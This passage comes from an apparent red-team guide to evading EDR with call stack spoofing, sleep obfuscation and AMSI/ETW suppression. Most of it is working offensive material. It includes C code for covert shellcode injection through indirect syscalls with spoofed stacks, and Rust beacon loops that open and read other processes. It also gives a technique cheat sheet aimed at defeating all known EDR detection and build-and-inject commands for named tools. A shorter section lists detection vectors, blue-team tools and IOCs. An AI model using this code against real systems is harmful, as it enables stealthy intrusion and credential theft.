│ LAYER 5: Sleep — Obfuscated Beacon Sleep │
│ Ekko/Foliage/TpSetTimer with AES memory encryption during sleep│
│ Stack spoofed during sleep too │
│ │
│ LAYER 6: ETW/AMSI — Telemetry Suppression │
│ Hardware breakpoint AMSI bypass (AmsiScanBuffer HWBP) │
│ ETW patch via HWBP on NtTraceEvent │
└─────────────────────────────────────────────────────────────────────────┘
14.2 Indirect Syscall + SilentMoonwalk Integration
// [C] Combining HellHall indirect syscall with SilentMoonwalk stack spoof
// This is what production-quality loaders (like DarkWidow) implement
#include "hellhall.h" // HellHall indirect syscall engine
#include "spoof.h" // SilentMoonwalk spoofer
// Fully covert NtAllocateVirtualMemory
NTSTATUS CovertAlloc(
HANDLE hProc,
PVOID *pBase,
PSIZE_T pSize,
ULONG allocType,
ULONG protect
) {
// Step 1: Resolve syscall (Halo's Gate — handles hooked functions)
HALO_SYSCALL sc = { 0 };
if (!HalosGate_GetSyscall("NtAllocateVirtualMemory", &sc))
return STATUS_UNSUCCESSFUL;
// Step 2: Set up indirect syscall (HellHall)
PrepareSyscall(sc.SSN, sc.SyscallAddr);
// Step 3: Call via SilentMoonwalk spoof + HellHall indirect syscall
// SpoofCall wraps the entire call with fake stack frames
// HellHall ensures syscall instruction fires from ntdll
return (NTSTATUS)SpoofCall(
(PVOID)HellHall, // Target: our indirect syscall stub
hProc,
pBase,
0,
pSize,
allocType,
protect
);
// What EDR sees:
// Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← indirect syscall
// Frame 1: ntdll!RtlUserThreadStart+0x21 ← SilentMoonwalk spoof
// [done — your loader is completely absent]
}
14.3 Full Covert Injection with Stack Spoof
// [C] Complete covert shellcode injection:
// Indirect syscalls + stack spoof + no RWX + AES encrypted
BOOL CovertInject(PBYTE encShellcode, SIZE_T scSize) {
// ── RESOLVE SYSCALLS ──────────────────────────────────────────────
HALO_SYSCALL scAlloc, scWrite, scProt, scThread;
HalosGate_GetSyscall("NtAllocateVirtualMemory", &scAlloc);
HalosGate_GetSyscall("NtWriteVirtualMemory", &scWrite);
HalosGate_GetSyscall("NtProtectVirtualMemory", &scProt);
HalosGate_GetSyscall("NtCreateThreadEx", &scThread);
// ── DECRYPT SHELLCODE ─────────────────────────────────────────────
PBYTE plain = (PBYTE)LocalAlloc(LMEM_FIXED, scSize);
memcpy(plain, encShellcode, scSize);
AES128_Decrypt(plain, scSize);
// ── ALLOC: NtCreateSection instead of NtAllocateVirtualMemory ─────
// NtCreateSection is less monitored and creates PE-backed memory
HALO_SYSCALL scSection, scMap;
HalosGate_GetSyscall("NtCreateSection", &scSection);
HalosGate_GetSyscall("NtMapViewOfSection", &scMap);
HANDLE hSection = NULL;
LARGE_INTEGER secSize = { .QuadPart = (LONGLONG)scSize };
PrepareSyscall(scSection.SSN, scSection.SyscallAddr);
NTSTATUS st = SpoofCall((PVOID)HellHall,
&hSection, SECTION_ALL_ACCESS, NULL, &secSize,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// ── MAP VIEW ──────────────────────────────────────────────────────
PVOID base = NULL;
SIZE_T viewSz = 0;
LARGE_INTEGER offset = { 0 };
PrepareSyscall(scMap.SSN, scMap.SyscallAddr);
st = SpoofCall((PVOID)HellHall,
hSection, (HANDLE)-1, &base, 0, 0, &offset,
&viewSz, ViewShare, 0, PAGE_EXECUTE_READWRITE);
// ── WRITE SHELLCODE ───────────────────────────────────────────────
SIZE_T written = 0;
PrepareSyscall(scWrite.SSN, scWrite.SyscallAddr);
st = SpoofCall((PVOID)HellHall,
(HANDLE)-1, base, plain, scSize, &written);
LocalFree(plain);
// ── CHANGE RWX → RX ───────────────────────────────────────────────
DWORD oldProt = 0; SIZE_T protSz = scSize;
PrepareSyscall(scProt.SSN, scProt.SyscallAddr);
st = SpoofCall((PVOID)HellHall,
(HANDLE)-1, &base, &protSz, PAGE_EXECUTE_READ, &oldProt);
// ── CREATE THREAD ─────────────────────────────────────────────────
HANDLE hThread = NULL;
PrepareSyscall(scThread.SSN, scThread.SyscallAddr);
st = SpoofCall((PVOID)HellHall,
&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1,
base, NULL, FALSE, 0, 0, 0, NULL);
printf("[+] Thread: %p | Base: %p | Status: 0x%08X\n",
hThread, base, st);
return NT_SUCCESS(st);
}
15. EDR Detection of Stack Spoofing — What Defenders See
15.1 Detection Vectors
[DETECT] Vector 1: Non-Unwindable Stack
─ SilentMoonwalk desync mode creates stacks that terminate abnormally
─ RtlVirtualUnwind fails to reach a legitimate thread-start frame
─ DetectionLogic: if stack unwind fails to reach RtlUserThreadStart → suspicious
[DETECT] Vector 2: Frame Count Anomaly
─ Spoofed stacks often have very FEW frames (2-4)
─ Legitimate threads doing complex operations have 10-30+ frames
─ LACUNA Chain uses multiple ghost frames to pad depth
[DETECT] Vector 3: Module Provenance Check
─ Every frame's address is checked against loaded signed PE modules
─ .pdata gap addresses (LACUNA) still exist inside signed DLLs → passes
─ But ETW-Ti could theoretically detect "gap" addresses specifically
[DETECT] Vector 4: Shadow Stack Mismatch (CET systems)
─ On CET-enabled systems, shadow stack vs normal stack mismatch = fault
─ BYOUD-Gap and BYOUD-MF use leaf/machine-frame unwind to avoid RET checks
[DETECT] Vector 5: VEH/HWBP Presence
─ hw-call-stack uses VEH + hardware breakpoints
─ EDRs can detect VEH registration on anomalous addresses
─ HWBP use by unbacked code is suspicious
[DETECT] Vector 6: Consecutive Leaf Frames
─ Many consecutive leaf frames (.pdata gap addresses) in one call stack
─ Unusual in legitimate code (most code has proper .pdata entries)
─ LACUNA Chain mixes ghost frames with real KernelBase frames to reduce this
15.2 Detection Tools
# [TOOL] pe-sieve — detect injected code + stack anomalies
pe-sieve.exe /pid <pid> /report output.json /threads
# /threads: scan call stacks of all threads for anomalies
# [TOOL] Moneta — runtime memory + call stack scanner
Moneta.exe -m ioc -p <pid>
# Detects: unbacked memory, anomalous stack frames, VEH registrations
# [TOOL] Process Hacker 2 / System Informer
# Right-click thread → Stack → View all frames
# Compare stack to what you expect (should show your spoofed frames, not real ones)
# [TOOL] WinDbg — verify stack unwindability
windbg.exe -p <pid>
# Attach to process, then:
~*kn ← print call stack of ALL threads
~<tid>s ← switch to specific thread
kn ← show numbered call stack
.fnent <addr> ← show unwind codes for a function address
# Expected: clean stack terminating at RtlUserThreadStart
# [TOOL] x64dbg — live stack inspection
# Set BP at NtOpenProcess (or any sensitive call)
# When BP hits: Ctrl+S (Stack) → verify frames
# Should see: ntdll!NtOpenProcess → your fake chain → RtlUserThreadStart
# [TOOL] BEOTM (Beat The EDR Methods) — VEH-based indirect syscall catcher
# github.com/xacone/BeatTheEDRMethods
# Detects calls into ntdll at offset != 0x0 (mid-function entry via JMP)
# This catches indirect syscalls that lack proper stack spoofing
15.3 Defender Pseudo-Detection Logic
# Defender logic (pseudo-code) for detecting stack spoofing
def analyze_call_stack(stack_frames):
issues = []
for i, frame in enumerate(stack_frames):
# Check 1: Is this address backed by a signed module?
module = get_module_for_address(frame.rip)
if not module or not module.is_signed:
issues.append(f"Frame {i}: unbacked address {frame.rip:#x}")
# Check 2: Is address in a .pdata gap? (LACUNA detection attempt)
if module:
rf = rtl_lookup_function_entry(frame.rip, module.base)
if rf is None and not is_known_leaf(frame.rip, module):
issues.append(f"Frame {i}: .pdata gap address (possible ghost frame)")
# Check 3: Does stack unwind reach RtlUserThreadStart?
if not any('RtlUserThreadStart' in f.symbol for f in stack_frames[-3:]):
issues.append("Stack does not terminate at thread start frame")
# Check 4: Suspiciously few frames?
if len(stack_frames) < 4:
issues.append(f"Only {len(stack_frames)} frames — possible incomplete spoof")
return issues
16. Sleep Obfuscation + Stack Spoofing (Hypnus / Rust Ecosystem)
Hypnus is a Rust library combining sleep obfuscation with call stack spoofing in all three popular timer approaches (TpSetTimer, TpSetWait, APC/Foliage).
- GitHub:
github.com/joaoviictorti/hypnus - Crate:
crates.io/crates/hypnus - Language: Rust (no_std compatible)
16.1 Hypnus Macros
// [RS] Hypnus — all-in-one sleep obfuscation + call stack spoofing
// Cargo.toml:
// [dependencies]
// hypnus = "0.2"
use hypnus::{timer, foliage, ObfMode};
use core::ffi::c_void;
// Your shellcode base and size
let ptr = 0x13370000usize as *mut c_void; // shellcode base
let size = 0x1000usize; // shellcode size
let delay = 5u64; // seconds to sleep
// ─── Method 1: TpSetTimer (Ekko-style, most evasive) ────────────────
// Encrypts shellcode + spoofs call stack + sleeps via thread pool timer
timer!(ptr, size, delay);
// ─── Method 2: TpSetWait (Zilean-style) ─────────────────────────────
// Uses waitable object thread pool
wait!(ptr, size, delay);
// ─── Method 3: APC-Based (Foliage-style) ────────────────────────────
// Queues APC with APC context stack spoofing
foliage!(ptr, size, delay);
// ─── With Heap Encryption + RWX Protection ───────────────────────────
foliage!(ptr, size, delay, ObfMode::Heap | ObfMode::Rwx);
// Heap: also encrypts heap allocations during sleep
// Rwx: changes page protection to RW during sleep, back to RX on wake
16.2 Hypnus With Indirect Syscalls
// [RS] Hypnus integrated with indirect syscalls (uwd crate)
// Cargo.toml:
// hypnus = "0.2"
// uwd = "0.2"
use hypnus::foliage;
use uwd::{spoof, spoof_synthetic};
fn beacon_loop(shellcode_base: *mut core::ffi::c_void, size: usize) {
loop {
// ── Active phase: call sensitive APIs with spoofed stack ──────
let pid = get_target_pid();
let handle = spoof!(open_process, 0x1F0FFF_u32, 0_u32, pid)?;
// Perform operations with stack spoofing on each call
let data = spoof!(read_process_memory, handle, ...)?;
// ── Sleep phase: encrypt + spoof stack during sleep ───────────
// Stack during sleep will show: timer thread pool → ntdll → [done]
// Shellcode memory will be XOR encrypted
foliage!(shellcode_base, size, 30); // 30 second sleep
// On wake: shellcode decrypted, execution continues here
}
}
17. Tool Arsenal for Call Stack Spoofing
17.1 Core Spoofing Tools
| Tool | GitHub | Language | Method | Sleep Spoof | Live Spoof |
|---|---|---|---|---|---|
| ThreadStackSpoofer | mgeeky/ThreadStackSpoofer |
C++ | Return addr overwrite on Sleep hook | ✅ | ❌ |
| VulcanRaven | WithSecureLabs/VulcanRaven |
C++ | Synthetic stack from real thread | ✅ | ✅ |
| SilentMoonwalk | klezVirus/SilentMoonwalk |
C++ | ROP desync (desync + synthetic modes) | ✅ | ✅ |
| hw-call-stack | fortra/hw-call-stack |
C | Hardware breakpoint full stack swap | ✅ | ✅ |
| Unwinder | kudaes/unwinder |
Rust | Per-frame runtime replacement | ✅ | ✅ |
| uwd | crates.io/crates/uwd |
Rust | SilentMoonwalk desync + synthetic | ✅ | ✅ |
| LACUNA-Chain | MazX0p/LACUNA-Chain |
C | .pdata lacunae ghost frames | ✅ | ✅ |
17.2 Sleep Obfuscation + Stack Spoof Combined
| Tool | GitHub | Method | Notes |
|---|---|---|---|
| Ekko | Cracked5pider/Ekko |
Timer + XOR .text encrypt | Classic, widely referenced |
| Foliage | realoriginal/foliage |
APC + stack spoof | APC-context clean stack |
| Hypnus | joaoviictorti/hypnus |
TpSetTimer / TpSetWait / APC | Rust, all three modes |
| AceLdr | Kyle Avery | Return addr + sleep obfuscation | Cobalt Strike loader |
| DreamWalker | thefLink/DreamWalker |
CreateFiber-based stack transplant | Fiber-switch stack spoof |
17.3 Integrated Into C2 Frameworks
| Framework | Stack Spoof Support | Notes |
|---|---|---|
| Havoc C2 | ✅ HWBP-based + sleep mask | github.com/HavocFramework/Havoc |
| Cobalt Strike | ✅ Malleable profile + CS sleep mask | Commercial; AceLdr, BokuLoader add stack spoof |
| Brute Ratel C4 | ✅ Built-in | Commercial EDR bypass |
| Nightmangle | ✅ SilentMoonwalk integration | Research C2 |
17.4 Detection / Blue Team Tools
| Tool | GitHub | Use |
|---|---|---|
| pe-sieve | hasherezade/pe-sieve |
Scan threads' call stacks for anomalies |
| Moneta | forrest-orr/moneta |
Detect unbacked frames, VEH anomalies |
| BEOTM | xacone/BeatTheEDRMethods |
VEH-based catcher for indirect syscall + spoof combos |
| Process Hacker 2 | processhacker/processhacker2 |
Live thread stack inspection |
18. Technique Evolution Timeline
2019–2020
│ SilentMoonwalk predecessor research (namazso, Waldo-IRC)
│ namazso: concept of ROP-based stack unwinding desync
│ First "return address spoofing" concepts discussed in research threads
│
2021
│ mgeeky: ThreadStackSpoofer published
│ → First widely-used PoC for sleep-time stack hiding
│ → Hooks Sleep(), overwrites return address during sleep
│
2022
│ WithSecure: VulcanRaven published
│ → First "genuine" call stack spoofer for active API calls
│ → Synthetic stack mirroring from legitimate threads
│ Cracked5pider: Ekko published
│ → Timer-based sleep obfuscation + XOR encrypt + stack spoof
│ → AceLdr (Cobalt Strike) implements AceLdr return addr spoof
│
Aug 2023 (DEF CON 31)
│ StackMoonwalk / SilentMoonwalk — klezVirus, waldoirc, trickster0
│ → First DYNAMIC, fully automatic call stack spoofer
│ → ROP-based desynchronization of unwind from control flow
│ → Presented live at DEF CON 31 workshop
│ realoriginal: Foliage
│ → APC-based sleep obfuscation with inherently clean APC stack
│
2023–2024
│ Cobalt Strike Blog: "Behind the Mask — Timer-Based Stack Spoof"
│ → CS team documents timer approach; PoC for dynamic spoof during sleep
│ kudaes: Unwinder (Rust)
│ → Per-frame stack replacement at runtime
│ → Continuously clean stack throughout execution
│ Fortra: hw-call-stack
│ → HWBP-based full stack swap before/after syscall
│ joaoviictorti: Hypnus (Rust)
│ → All three sleep methods + stack spoof + heap encrypt in one crate
│
Nov 2025 (Black Hat Europe)
│ "Ghost In The Stack" — klezVirus et al.
│ → First CET-compliant stack spoofing framework: BYOUD
│ → Three functional variants: Gap, MF, SDIE
│ → Demonstrates stack spoofing survives hardware shadow stack enforcement
│
Jun 2025
│ LACUNA Chain — Mohamed Alzhrani (MazX0p)
│ → .pdata lacunae exploit — ghost frames in signed DLLs
│ → 6-layer chain: BYOUD-Gap + BYOUD-MF + APC timing window + param encrypt
│ → Bypasses Elastic EDR, Bitdefender, Kaspersky on Win11+CET+ETW-Ti
│ → Elastic added detection rule 3 days after public release (production-rules-windows-v1)
│
Ongoing 2026
│ Arms race: EDRs move to kernel-mode stack inspection + CET enforcement
│ Research focus: ETW-Ti APC timing window, indirect execution architectures
│ uwd (Rust) v0.2 published: SilentMoonwalk desync + synthetic in idiomatic Rust
19. Cheat Sheet
Technique Selection by Scenario
GOAL → TECHNIQUE
Hide stack during beacon sleep only:
→ ThreadStackSpoofer (simple) OR Ekko/Foliage (proper + mem encrypt)
Hide stack during active API calls (credential theft, injection):
→ VulcanRaven (copy real thread stack) OR
→ SilentMoonwalk (fully dynamic, desync mode)
Maximum stealth: clean stack during BOTH sleep AND execution:
→ SilentMoonwalk + Ekko/Foliage combined
Bypass CET (Intel Hardware Shadow Stack):
→ BYOUD-Gap (leaf frame chain) OR
→ BYOUD-MF (machine frame RSP teleport)
Defeat ETW-Ti STACKWALK mode:
→ LACUNA Chain (ghost frames + APC timing window attack)
Defeat ALL known EDR call-stack detection (2025):
→ LACUNA Chain (full 6-layer: BYOUD-Gap + APC window + param encrypt)
Rust toolchain:
→ uwd crate (spoof! / spoof_synthetic! macros)
→ hypnus crate (sleep obfuscation + stack spoof: timer!/foliage!/wait!)
Integrate with indirect syscalls:
→ HellHall + SilentMoonwalk (most common combo)
→ SpoofCall(HellHall, ...) pattern
Quick Command Reference
# ThreadStackSpoofer — build and run
git clone https://github.com/mgeeky/ThreadStackSpoofer
# Build in VS2022 → Release x64
.\ThreadStackSpoofer.exe beacon64.bin 1 # 1 = enable spoof
# SilentMoonwalk — build and run
git clone https://github.com/klezVirus/SilentMoonwalk
# Build in VS2022 → Release x64 (MASM required)
.\SilentMoonwalk.exe -a <function_addr>
# hw-call-stack — build and use
git clone https://github.com/fortra/hw-call-stack
# CMake build
cmake -B build && cmake --build build --config Release
.\build\Release\hw_call_stack.exe
# LACUNA Chain — scan and inject
git clone https://github.com/MazX0p/LACUNA-Chain
x86_64-w64-mingw32-gcc lacuna_chain.c -o lacuna.exe -lkernel32 -lntdll
lacuna.exe scan # enumerate ghost regions
lacuna.exe verify # verify chain integrity
lacuna.exe inject <pid> shellcode.bin # inject with full chain
# Ekko — integrate into loader
git clone https://github.com/Cracked5pider/Ekko
# Add Ekko.c/Ekko.h to your project
# Call: Ekko(sleepMs); ← replaces Sleep(sleepMs)
# Hypnus (Rust)
# Cargo.toml: hypnus = "0.2"
# timer!(shellcode_ptr, size, delay_secs)
# foliage!(shellcode_ptr, size, delay_secs)
# uwd (Rust)
# Cargo.toml: uwd = "0.2"
# spoof!(function_name, arg1, arg2, ...)
# spoof_synthetic!(function_name, ...)
# Verify spoof effectiveness with pe-sieve
pe-sieve.exe /pid <your_pid> /report out.json /threads
# Look for: "stack anomalies: 0" in the report
Key Addresses for Fake Frames
STABLE GADGETS (commonly used across multiple PoCs):
ntdll!RtlUserThreadStart+0x21 ← Thread "root" terminal frame
KernelBase!BaseThreadInitThunk+0x14 ← Thread initialization frame
KernelBase!WaitForSingleObjectEx+0x93 ← Sleeping thread frame
ntdll!NtWaitForSingleObject+0x14 ← Deep sleep frame
ntdll!KiUserExceptionDispatcher+0x4 ← BYOUD-MF anchor (LACUNA Chain)
HOW TO FIND STABLE OFFSETS:
windbg> x ntdll!RtlUserThreadStart
windbg> u ntdll!RtlUserThreadStart+0x21 ← verify it's a valid instruction
→ Should be: 5b (pop rbx) or similar non-branch instruction
VERIFY IN x64DBG:
bp at ntdll!NtOpenProcess
When hits: stack view should show your spoof frames
k (WinDbg) or "Call Stack" view (x64dbg) → verify legitimacy
IOC Summary (Defender's POV)
IOC #1: Unbacked memory in call stack
→ Any frame RIP that doesn't belong to a signed PE on disk
→ Classic indicator of shellcode/reflective DLL
IOC #2: Broken / non-unwindable stack
→ Stack unwind terminates abnormally (not at RtlUserThreadStart)
→ SilentMoonwalk desync mode (partially)
IOC #3: Suspicious VEH registration
→ VEH handler on address in unbacked memory
→ hw-call-stack technique
IOC #4: Debug registers set from unbacked code
→ Dr0-Dr3 set while executing from non-PE memory
→ HWBP-based stack spoof
IOC #5: Ghost frames (.pdata gaps) — LACUNA detection
→ Multiple consecutive frames in .pdata address gaps
→ Elastic EDR added detection rule 3 days after LACUNA Chain public release
IOC #6: Short call stacks on sensitive syscalls
→ 2-3 frames total for NtOpenProcess to lsass is abnormal
→ Legitimate LSASS access has 8-15 frames typically
Tool GitHub Quick Reference
ThreadStackSpoofer : github.com/mgeeky/ThreadStackSpoofer
VulcanRaven : github.com/WithSecureLabs/VulcanRaven
SilentMoonwalk : github.com/klezVirus/SilentMoonwalk
hw-call-stack : github.com/fortra/hw-call-stack
Unwinder : github.com/kudaes/unwinder
uwd (Rust) : github.com/RumblesSecurity/uwd | lib.rs/crates/uwd
Ekko : github.com/Cracked5pider/Ekko
Foliage : github.com/realoriginal/foliage
Hypnus (Rust) : github.com/joaoviictorti/hypnus
LACUNA-Chain : github.com/MazX0p/LACUNA-Chain
DarkWidow : github.com/reveng007/DarkWidow (indirect + APC + stack spoof)
AceLdr : github.com/kyleavery/AceLdr (CS loader + return addr spoof)
Havoc C2 : github.com/HavocFramework/Havoc (HWBP AMSI + sleep mask)
pe-sieve (detect) : github.com/hasherezade/pe-sieve
Moneta (detect) : github.com/forrest-orr/moneta
BEOTM (detect) : github.com/xacone/BeatTheEDRMethods
Note: All techniques described are for authorized red team operations, penetration testing, and security research only. Unauthorized use against systems without explicit permission is illegal.